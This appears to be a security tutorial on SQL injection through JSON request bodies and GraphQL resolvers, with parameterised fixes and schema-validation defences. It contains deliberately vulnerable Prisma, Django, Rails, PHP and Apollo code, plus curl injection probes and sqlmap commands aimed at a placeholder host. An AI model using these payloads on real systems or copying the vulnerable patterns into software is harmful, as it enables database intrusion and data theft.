JSON-body SQL injection is the modern face of an old bug. The application receives a JSON request body, parses it, takes one or more fields, and concatenates them into a SQL query, usually because the developer reached for an ORM raw-query escape hatch (queryRawUnsafe, find_by_sql, raw(), literal()) to handle a query the ORM's safe APIs could not express. The bug is increasingly common as REST and GraphQL APIs replace form-encoded endpoints, and as ORMs add raw-query features that look safer than they are.
This is one of the per-vector leaves under the SQL injection deep dive and the HTTP request vector map.
In short: JSON-body SQL injection is the modern face of an old bug. The application receives a JSON request body, parses it, and concatenates one or more field values into a SQL query, usually because the developer reached for an ORM raw-query escape hatch (Prisma's
$queryRawUnsafe, Django'sProduct.objects.raw()with f-strings, Rails'find_by_sqlwith interpolation, SQLAlchemy'stext(), Sequelize'sliteral()) to express a query the safe API could not handle. The exploit is one curl POST with a payload field carrying SQL syntax. The fix is parameterising the call (every safe-API equivalent exists in every major ORM) plus schema-validating the request body. sqlmap injects into JSON via--data='{"name":"foo*"}'with the*injection-point marker. GraphQL resolvers that build SQL by template string fall into the same trap, with the GraphQL type system providing no protection.
Why JSON bodies are a distinct vector
The injection itself is identical to query-string injection. The reason JSON bodies deserve their own treatment:
- The validation patterns are different. Form-encoded bodies often pass through middleware that validates field types against a known schema. JSON bodies often do not, because JSON's natural structure is "whatever the client sent". Mass-assignment bugs cluster around the same pattern (see the OWASP API Security Top 10).
- The ORM raw-query escape hatches are the dominant entry point. Every modern ORM provides a way to drop down to raw SQL for cases its query builder cannot express. Each of those APIs is a candidate site for the bug.
- GraphQL adds its own twist. Variables and arguments pass through resolvers that often call custom data layers. Resolvers that build SQL by template string are the GraphQL-specific case.
- Nested fields multiply the attack surface. A query string has flat key=value pairs. A JSON body has nested objects and arrays. Every leaf value is a candidate. Scanners that test top-level fields miss nested ones.
This is SQL injection through JSON, not NoSQL operator injection. The latter (MongoDB $ne, $gt, $regex injection) is covered in the spoke's NoSQL injection variant.
Where does JSON-body SQL injection actually show up?
- Search endpoints with custom filtering. "Return products matching this filter object." The filter is rich enough that the developer drops the ORM and writes raw SQL.
- Bulk operation endpoints. "Delete every record matching these criteria." The IN clause for a bulk delete is composed from a JSON array.
- Reporting and dashboard endpoints. "Return aggregates grouped by these dimensions." Dynamic GROUP BY built from JSON.
- GraphQL resolvers that bypass the ORM. A custom resolver for a complex query.
- JSON Patch / JSON Merge Patch endpoints. Fields named in the patch get translated into UPDATE SET clauses.
The first and third are the most common. They both share the property that the developer felt the ORM was insufficient and reached for raw SQL.
The vulnerable code
Node.js with Prisma, the explicit unsafe call:
app.post('/api/products/search', async (req, res) => {
const { name, minPrice } = req.body;
const products = await prisma.$queryRawUnsafe(
`SELECT * FROM products WHERE name LIKE '%${name}%' AND price >= ${minPrice}`
);
res.json(products);
});$queryRawUnsafe has "Unsafe" in the name. The name does not stop people from using it.
Python with Django, the raw() shortcut:
@require_POST
def search(request):
body = json.loads(request.body)
name = body['name']
products = Product.objects.raw(
f"SELECT * FROM products WHERE name LIKE '%{name}%'"
)
return JsonResponse({'products': [...]})Ruby/Rails, find_by_sql:
def search
name = params[:name]
products = Product.find_by_sql(
"SELECT * FROM products WHERE name LIKE '%#{name}%'"
)
render json: products
end
PHP with PDO and a JSON-decoded body:
$body = json_decode(file_get_contents('php://input'), true);
$name = $body['name'];
$result = $pdo->query("SELECT * FROM products WHERE name LIKE '%$name%'");The shape is identical to old-school query-string SQLi. The vector is just different.
GraphQL with Apollo and a custom resolver:
const resolvers = {
Query: {
productsByDynamicFilter: async (_, { filter }) => {
const sql = `SELECT * FROM products WHERE category = '${filter.category}'`;
return await pool.query(sql);
},
},
};The filter argument comes from the client. It is whatever the client sent. Concatenating its fields into a SQL string is the same bug.
Why developers think it's safe
- "I use an ORM, ORMs prevent SQL injection." The ORM's safe APIs prevent it. The ORM's unsafe escape hatches do not. Find the unsafe call in your codebase: it has names like
raw,Raw,Unsafe,literal,find_by_sql,$queryRawUnsafe. Every one is a potential site. - "JSON is structured, so the values are typed." No. The Content-Type tells the parser to parse JSON. The values inside the JSON are whatever bytes were sent. A field declared as a number in the API contract can still arrive as a string with a SQL payload in it, because nothing enforces the contract until you do.
- "My API has a schema (OpenAPI, GraphQL SDL); the framework validates against it." Sometimes. Many frameworks parse the body and hand you a dictionary without schema validation. Confirm what your framework actually does.
- "The client is my own frontend, so I trust the values." The client is whatever sends HTTP requests to your endpoint. Anyone can send any JSON.
How do you test JSON request bodies for SQL injection by hand?
Standard boolean probe in a JSON field:
curl -X POST "https://target.example/api/products/search" \
-H "Content-Type: application/json" \
-d '{"name": "shoes", "minPrice": 10}' \
-o baseline.json
curl -X POST "https://target.example/api/products/search" \
-H "Content-Type: application/json" \
-d '{"name": "shoes' OR '1'='1", "minPrice": 10}' \
-o probe.json
diff baseline.json probe.json | headUnicode escapes (' for ') survive JSON parsing and arrive at the application as literal single quotes. If the response changes, the field is in a SQL context.
Time-based:
curl -X POST "https://target.example/api/products/search" \
-H "Content-Type: application/json" \
-d '{"name": "x' AND SLEEP(5)-- -", "minPrice": 10}' \
-w "\n%{time_total}\n"5+ second response confirms it.
For nested fields, address them by full path:
curl -X POST "https://target.example/api/orders/filter" \
-H "Content-Type: application/json" \
-d '{"filter": {"customer": {"region": "EU' OR 1=1-- -"}}}'Test every leaf value. Scanners that only test top-level fields will not find nested injection.
What is the sqlmap command for JSON body injection?
For JSON bodies, sqlmap needs the body shape and an explicit injection-point marker. The * marker works inside JSON values:
sqlmap -u "https://target.example/api/products/search" \
--method=POST \
--headers="Content-Type: application/json" \
--data='{"name": "shoes*", "minPrice": 10}' \
--batchThe * after shoes marks the injection point. sqlmap will inject payloads in that position, leaving the rest of the JSON untouched.
For nested fields:
sqlmap -u "https://target.example/api/orders/filter" \
--method=POST \
--headers="Content-Type: application/json" \
--data='{"filter": {"customer": {"region": "EU*"}}}' \
--batchFor testing multiple fields without specifying injection points, drop the * and rely on sqlmap's parameter detection:
sqlmap -u "https://target.example/api/products/search" \
--method=POST \
--headers="Content-Type: application/json" \
--data='{"name": "shoes", "minPrice": 10}' \
--batchsqlmap will detect every JSON parameter and test each. Slower but more thorough.
For GraphQL, the body is a JSON document with query and variables fields. Inject into a variable:
sqlmap -u "https://target.example/graphql" \
--method=POST \
--headers="Content-Type: application/json" \
--data='{"query":"query Q($c: String!) { products(category: $c) { id } }","variables":{"c":"books*"}}' \
--batchOnce injection is confirmed, the enumeration sequence is identical to every other vector. See the sqlmap cheat sheet.
Detection signals
- Request logs showing JSON values containing SQL syntax. Single quotes, double quotes, comment markers, keywords inside JSON string fields.
- Anomalously deep or large JSON bodies. Legitimate API requests have a known shape. Exploitation payloads bloat the body.
- ORM unsafe-call audit. Grep your codebase for
raw,Unsafe,literal,$queryRawUnsafe,find_by_sql,connection.executewith template strings. Every hit is a candidate site for review. - The standard rule.
information_schemareads from the application user.
How do you defend against JSON-body SQL injection?
Stop using the unsafe call. Most ORM raw-query escape hatches have a safer sibling. The Prisma raw-queries docs explicitly contrast $queryRaw (safe with tagged literals) and $queryRawUnsafe (raw string, vulnerable). Prisma:
// Unsafe: $queryRawUnsafe with template-string interpolation
const products = await prisma.$queryRawUnsafe(
`SELECT * FROM products WHERE name LIKE '%${name}%'`
);
// Safer: $queryRaw with template-tagged literals (parameterised)
const products = await prisma.$queryRaw`
SELECT * FROM products WHERE name LIKE ${'%' + name + '%'}
`;The tagged-literal form passes interpolated values as parameters, not as string concatenation. Same final SQL, different injection surface (zero).
Django:
# Unsafe: raw() with f-string
Product.objects.raw(f"SELECT * FROM products WHERE name LIKE '%{name}%'")
# Safer: raw() with parameter placeholders
Product.objects.raw("SELECT * FROM products WHERE name LIKE %s", [f'%{name}%'])Rails:
# Unsafe: find_by_sql with interpolation
Product.find_by_sql("SELECT * FROM products WHERE name LIKE '%#{name}%'")
# Safer: find_by_sql with array form
Product.find_by_sql(["SELECT * FROM products WHERE name LIKE ?", "%#{name}%"])
Validate the body against a schema. Use Pydantic (Python), Zod (TypeScript), JSON Schema, or the equivalent for your stack. Reject any field that does not match the expected type. A name field declared as a string of 1-100 characters will not accept a 500-byte payload.
For dynamic identifiers (column names, table names, ORDER BY columns), allow-list rather than parameterise. Parameterisation does not cover identifiers in standard SQL. If the user-supplied JSON includes a sortBy field that selects a column, validate against a fixed set of allowed columns and reject anything else.
Defence at the infrastructure level
- JSON schema validation at the API gateway. Many gateways (Kong, AWS API Gateway, Envoy with the JSON-Schema filter) can reject requests whose body does not match the declared schema. Cuts the attack surface before code runs.
- Request size limits. Reject JSON bodies over a sensible cap. Exploitation needs payload size.
- Per-endpoint rate limiting. Boolean and time-based extraction needs many requests. Rate limits buy detection time.
Common defence mistakes
- "I use Prisma, so I am safe." Prisma's main query builder is safe.
$queryRawUnsafeis in the name. Grep for it. - JSON-decoding the body, validating ONE field, then concatenating ANOTHER field. All untrusted fields need the same treatment, regardless of whether the original review focused on one of them.
- Trusting client-side validation. The Angular/React form's regex on the input is a UX feature. The server sees raw bytes.
- Allow-listing identifiers AFTER concatenation. Validate before, then use the validated value in your query construction. "I will check after I build the SQL" rarely catches anything.
Real-world incidents
JSON-body SQL injection has been the dominant SQL injection class in disclosed CVEs in 2024-2026:
- CVE-2026-9082, Drupal Core (SA-CORE-2026-004), "highly critical" per Drupal's advisory. SQL injection in the database abstraction API's PostgreSQL EntityQuery condition handler, exploitable by sending crafted JSON requests to the JSON:API core module or Views exposed filters. The technical novelty is that the injection lives in how PHP array keys are parsed and converted into database placeholder names rather than in parameter values, which made it invisible to most existing SQLi scanners. Added to CISA's KEV catalog on May 22, 2026 after confirmed active exploitation. (Drupal advisory, Tenable analysis)
- CVE-2024-37843, Craft CMS GraphQL SQL injection. SQL injection through the GraphQL API endpoint, with the
embedded_submission_form_uuidparameter feeding directly into an unparameterised query. (GitHub Security Advisory) - Craft CMS Control Panel
criteria[orderBy]. A JSON body parameter on theelement-indexes/get-elementsendpoint was concatenated into the ORDER BY clause of the underlying database query. Identifiers cannot be parameterised in standard SQL, so the fix required allow-listing valid column names instead of attempting to escape the value. - GraphQL SQL injection via
embedded_submission_form_uuid, disclosed via HackerOne. The/graphqlendpoint passed the parameter directly into a SELECT against both public and secure schemas. (HackerOne report #435066)
Where to go next
- User-Agent SQL injection, the header counterpart
- Cookie SQL injection, preference and bucket cookies
- HTTP request vector map, the parent listicle
- SQL injection deep dive, the spoke with the variant taxonomy
- sqlmap cheat sheet for the full flag reference
Sources
Authoritative references this article was fact-checked against.





